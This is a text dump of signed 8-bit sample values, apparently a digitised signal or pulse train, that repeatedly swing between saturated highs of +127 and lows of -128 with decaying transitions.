+-128 +-128 +-128 +-128 +-128 +-128 +-109 +-101 +-111 +91 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +111 +96 +87 +80 +76 +71 +68 +65 +63 +60 +57 +53 +50 +46 +43 +-56 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-108 +-102 +-112 +91 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +112 +97 +87 +79 +74 +70 +68 +65 +63 +60 +57 +54 +51 +46 +42 +-56 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-109 +-101 +-111 +92 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +112 +96 +86 +79 +75 +71 +68 +65 +63 +60 +57 +54 +50 +46 +42 +-56 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-109 +-102 +-111 +91 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +112 +97 +88 +80 +75 +71 +68 +65 +63 +60 +57 +53 +50 +46 +42 +38 +34 +30 +26 +23 +20 +16 +14 +11 +9 +6 +5 +3 +2 +0 +-2 +-2 +-4 +-4 +-5 +-6 +-7 +-8 +-8 +-9 +-10 +-10 +-11 +-12 +-12 +-13 +-13 +-103 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-110 +-102 +-111 +-105 +-99 +-78 +-88 +-68 +-80 +-75 +-72 +-68 +-65 +-62 +-58 +-56 +-53 +-50 +-48 +-46 +-43 +-42 +-39 +-38 +-37 +-35 +-34 +-32 +-32 +-30 +-29 +-28 +-27 +-26 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +120 +109 +99 +94 +89 +85 +80 +77 +73 +70 +66 +62 +56 +52 +-49 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-107 +-100 +-110 +92 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +112 +97 +87 +80 +76 +71 +68 +65 +63 +60 +57 +53 +50 +46 +43 +38 +34 +30 +26 +23 +19 +16 +14 +11 +9 +7 +5 +3 +2 +0 +-1 +-2 +-4 +-4 +-5 +-6 +-7 +-8 +-8 +-9 +-10 +-10 +-11 +-11 +-12 +-13 +-13 +-103 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-110 +-103 +-97 +-105 +-99 +-78 +-89 +-68 +-79 +-75 +-72 +-69 +-64 +-60 +-58 +-56 +-53 +-50 +-48 +-46 +-44 +-42 +-41 +-39 +-37 +-36 +-34 +-33 +-32 +-30 +-29 +-28 +-27 +-27 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +121 +109 +100 +94 +90 +85 +81 +79 +74 +71 +66 +62 +57 +52 +-48 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-107 +-100 +-110 +95 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +112 +98 +87 +80 +75 +71 +68 +65 +63 +60 +57 +53 +50 +46 +43 +-56 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-109 +-101 +-111 +91 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +112 +97 +87 +80 +75 +71 +68 +65 +63 +59 +57 +54 +50 +46 +42 +-56 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-109 +-101 +-110 +91 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +112 +97 +87 +79 +75 +71 +68 +65 +63 +61 +58 +54 +51 +46 +42 +38 +34 +29 +26 +22 +20 +16 +13 +10 +8 +6 +5 +3 +2 +0 +-1 +-2 +-3 +-4 +-5 +-6 +-6 +-7 +-8 +-9 +-10 +-10 +-11 +-11 +-12 +-13 +-13 +-103 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-110 +-103 +-112 +-105 +-100 +-78 +-89 +-68 +-80 +-76 +-72 +-68 +-65 +-62 +-59 +-56 +-53 +-50 +-49 +-46 +-44 +-42 +-40 +-38 +-37 +-35 +-34 +-32 +-32 +-30 +-30 +-29 +-28 +-27 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +120 +109 +100 +94 +89 +84 +80 +77 +73 +70 +65 +61 +56 +51 +46 +43 +38 +34 +29 +26 +23 +19 +16 +14 +11 +9 +7 +5 +4 +2 +1 +-1 +-2 +-3 +-4 +-5 +-6 +-7 +-8 +-9 +-9 +-10 +-10 +-11 +-11 +-12 +-102 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-109 +-102 +-112 +-106 +-98 +-78 +-89 +-68 +-79 +-75 +-72 +-68 +-64 +-61 +-58 +-55 +-52 +-50 +-48 +-46 +-43 +-42 +-40 +-39 +-38 +-35 +-35 +-33 +-32 +-30 +-29 +-28 +-27 +-26 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +122 +110 +100 +94 +89 +85 +80 +78 +73 +70 +64 +60 +56 +53 +-48 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-107 +-99 +-109 +92 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +113 +98 +88 +80 +76 +72 +69 +66 +63 +60 +58 +54 +51 +46 +43 +-56 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-108 +-101 +-111 +91 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +112 +97 +86 +80 +76 +71 +68 +64 +62 +59 +56 +54 +50 +45 +41 +-57 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-109 +-102 +-112 +92 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +113 +98 +88 +80 +76 +72 +69 +66 +63 +60 +57 +54 +50 +46 +42 +-56 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-108 +-101 +-111 +91 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +112 +97 +87 +79 +75 +70 +67 +66 +64 +60 +58 +54 +51 +46 +42 +38 +34 +30 +26 +22 +19 +15 +13 +11 +8 +7 +5 +4 +2 +0 +-1 +-2 +-3 +-4 +-5 +-6 +-7 +-8 +-8 +-9 +-10 +-10 +-10 +-11 +-12 +-12 +-13 +-102 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-109 +-102 +-112 +-105 +-99 +-78 +-89 +-68 +-80 +-75 +-72 +-68 +-65 +-62 +-59 +-56 +-53 +-50 +-48 +-46 +-44 +-42 +-40 +-39 +-37 +-35 +-34 +-33 +-32 +-31 +-30 +-29 +-28 +-27 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +120 +109 +101 +94 +89 +85 +81 +78 +73 +70 +65 +61 +56 +52 +46 +42 +38 +34 +30 +26 +22 +19 +16 +14 +11 +9 +6 +5 +3 +2 +1 +-1 +-2 +-3 +-4 +-4 +-5 +-7 +-7 +-8 +-9 +-10 +-10 +-11 +-12 +-12 +-102 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-109 +-101 +84 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +110 +95 +85 +78 +74 +70 +67 +64 +62 +59 +56 +53 +49 +45 +42 +-57 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-110 +-103 +-111 +-105 +-99 +-94 +-73 +-84 +-80 +-76 +-72 +-68 +-65 +-62 +-59 +-56 +-53 +-51 +-49 +-46 +-44 +-42 +-40 +-38 +-37 +-35 +-34 +-32 +-31 +-30 +-29 +-28 +-27 +-26 +-25 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +122 +110 +100 +94 +89 +86 +81 +78 +74 +70 +66 +62 +57 +52 +-48 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-108 +-101 +-109 +92 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +112 +97 +87 +80 +75 +71 +68 +65 +63 +60 +57 +54 +51 +46 +43 +-56 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-110 +-102 +-111 +90 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +111 +96 +86 +80 +75 +71 +68 +65 +63 +60 +57 +54 +51 +47 +43 +-56 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-108 +-102 +-112 +94 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +112 +97 +87 +79 +75 +71 +68 +66 +63 +60 +58 +54 +50 +46 +42 +-56 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-109 +-102 +-111 +91 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +112 +97 +87 +80 +75 +70 +68 +65 +64 +61 +57 +54 +50 +46 +42 +-56 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-108 +-101 +-111 +93 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +112 +97 +87 +79 +74 +70 +67 +64 +62 +59 +57 +54 +50 +46 +42 +-56 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-108 +-100 +-110 +93 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +112 +98 +87 +80 +75 +71 +68 +65 +63 +60 +57 +53 +50 +45 +42 +-57 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-109 +-101 +-110 +92 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +111 +97 +88 +79 +74 +71 +68 +65 +63 +60 +57 +54 +50 +46 +42 +-56 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-109 +-102 +-111 +91 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +112 +96 +87 +80 +74 +70 +68 +65 +63 +60 +57 +54 +51 +46 +43 +-56 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-109 +-103 +-112 +91 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +112 +97 +87 +80 +75 +70 +68 +65 +63 +60 +57 +54 +50 +46 +42 +-56 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-109 +-102 +-111 +91 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +112 +96 +86 +80 +75 +70 +67 +65 +63 +60 +57 +53 +50 +46 +42 +-56 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-108 +-101 +-111 +92 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +113 +98 +87 +80 +75 +71 +68 +65 +63 +60 +57 +54 +50 +46 +42 +-56 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-109 +-102 +-110 +91 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +111 +96 +86 +79 +75 +71 +68 +66 +64 +61 +58 +54 +50 +46 +43 +-56 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-109 +-101 +-111 +91 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +111 +96 +88 +80 +74 +70 +68 +65 +63 +60 +58 +54 +50 +46 +42 +-56 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-109 +-102 +-111 +91 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +112 +97 +86 +80 +75 +71 +68 +65 +64 +60 +57 +54 +50 +46 +42 +38 +34 +30 +26 +23 +20 +16 +14 +11 +9 +7 +5 +3 +2 +0 +0 +-2 +-2 +-4 +-5 +-6 +-7 +-8 +-8 +-9 +-10 +-10 +-10 +-11 +-12 +-12 +-12 +-102 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-109 +-102 +-112 +-105 +-99 +-78 +-89 +-68 +-79 +-75 +-71 +-67 +-65 +-61 +-58 +-55 +-52 +-51 +-49 +-46 +-44 +-42 +-41 +-38 +-37 +-36 +-34 +-32 +-31 +-30 +-29 +-28 +-27 +-26 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +121 +109 +99 +94 +89 +85 +80 +77 +73 +70 +65 +61 +56 +52 +-48 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-107 +-100 +-109 +92 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +113 +98 +87 +79 +75 +71 +68 +65 +63 +60 +58 +54 +50 +46 +42 +-56 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-109 +-101 +-111 +91 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +112 +96 +86 +79 +75 +71 +67 +65 +63 +60 +58 +53 +50 +46 +42 +-56 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-108 +-101 +-111 +91 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +111 +96 +86 +78 +75 +71 +67 +65 +63 +60 +58 +54 +50 +46 +43 +-56 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-109 +-102 +-111 +91 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +112 +97 +87 +80 +76 +71 +68 +65 +64 +61 +58 +54 +51 +46 +43 +-56 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-108 +-101 +-111 +92 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +112 +98 +88 +80 +75 +71 +68 +65 +63 +60 +57 +54 +50 +46 +42 +38 +34 +29 +26 +22 +19 +16 +14 +11 +9 +7 +5 +3 +1 +-1 +-1 +-2 +-4 +-4 +-5 +-6 +-7 +-8 +-9 +-10 +-10 +-11 +-12 +-12 +-12 +-13 +-14 +-103 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-110 +-103 +-112 +-104 +-99 +-78 +-88 +-67 +-79 +-75 +-72 +-68 +-64 +-61 +-58 +-56 +-53 +-50 +-48 +-46 +-44 +-42 +-40 +-38 +-36 +-35 +-34 +-32 +-31 +-30 +-29 +-28 +-27 +-26 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +121 +110 +100 +94 +89 +85 +80 +78 +74 +70 +65 +62 +56 +52 +-49 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-107 +-100 +-110 +92 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +112 +97 +88 +80 +76 +71 +68 +66 +63 +60 +57 +53 +50 +45 +42 +-57 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-109 +-102 +-111 +91 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +112 +97 +87 +80 +75 +71 +68 +65 +63 +60 +57 +54 +50 +46 +42 +-57 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-109 +-102 +-112 +92 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +112 +98 +88 +80 +75 +72 +69 +66 +64 +60 +58 +54 +50 +46 +42 +-56 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-109 +-102 +-111 +91 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +112 +97 +87 +80 +76 +71 +68 +65 +63 +60 +57 +54 +50 +46 +43 +-56 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-110 +-102 +-111 +90 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +112 +97 +87 +80 +75 +70 +68 +65 +63 +60 +57 +54 +50 +46 +42 +-56 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-109 +-101 +-111 +91 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +112 +97 +87 +79 +75 +71 +68 +65 +64 +60 +58 +54 +51 +46 +42 +38 +34 +30 +26 +22 +20 +16 +13 +11 +8 +6 +5 +3 +2 +0 +-1 +-2 +-3 +-4 +-6 +-7 +-8 +-9 +-10 +-10 +-10 +-10 +-11 +-11 +-11 +-12 +-12 +-102 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-110 +-102 +84 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +110 +95 +85 +78 +74 +69 +67 +64 +63 +60 +57 +53 +50 +46 +42 +-56 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-110 +-102 +-111 +-104 +-98 +-94 +-73 +-84 +-80 +-76 +-72 +-68 +-65 +-62 +-58 +-56 +-52 +-50 +-48 +-46 +-44 +-42 +-40 +-38 +-36 +-35 +-34 +-32 +-32 +-31 +-29 +-29 +-28 +-27 +-26 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +122 +110 +100 +95 +89 +86 +81 +78 +74 +70 +66 +62 +56 +52 +-48 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-107 +-100 +-110 +92 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +112 +97 +87 +80 +76 +72 +69 +66 +64 +60 +58 +54 +50 +46 +42 +-57 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-109 +-101 +-111 +91 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +112 +98 +88 +80 +76 +72 +68 +66 +63 +60 +56 +53 +50 +46 +42 +-57 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-109 +-102 +-111 +91 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +111 +96 +86 +79 +75 +71 +68 +65 +63 +60 +58 +54 +50 +46 +42 +-57 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-110 +-102 +-112 +90 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +112 +97 +87 +80 +75 +71 +68 +64 +63 +60 +58 +54 +50 +46 +42 +38 +34 +29 +26 +22 +19 +16 +13 +11 +9 +6 +5 +3 +2 +0 +-2 +-3 +-3 +-5 +-5 +-6 +-7 +-8 +-8 +-9 +-9 +-10 +-10 +-11 +-12 +-12 +-13 +-103 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-110 +-102 +-111 +-105 +-99 +-78 +-89 +-68 +-80 +-76 +-71 +-68 +-64 +-62 +-58 +-55 +-53 +-51 +-48 +-46 +-44 +-43 +-41 +-38 +-37 +-35 +-34 +-33 +-31 +-30 +-29 +-28 +-27 +-26 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +123 +109 +99 +93 +88 +85 +81 +78 +74 +70 +65 +62 +56 +52 +-49 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-107 +-100 +-110 +94 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +112 +97 +88 +80 +75 +71 +69 +66 +63 +60 +57 +54 +51 +46 +42 +-56 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-109 +-102 +-111 +91 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +111 +96 +88 +79 +74 +70 +68 +66 +63 +60 +58 +54 +51 +46 +42 +-56 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-108 +-102 +-112 +94 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +112 +97 +87 +80 +74 +71 +68 +65 +63 +60 +57 +54 +50 +46 +42 +-56 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-108 +-102 +-112 +94 +127 +127 +127 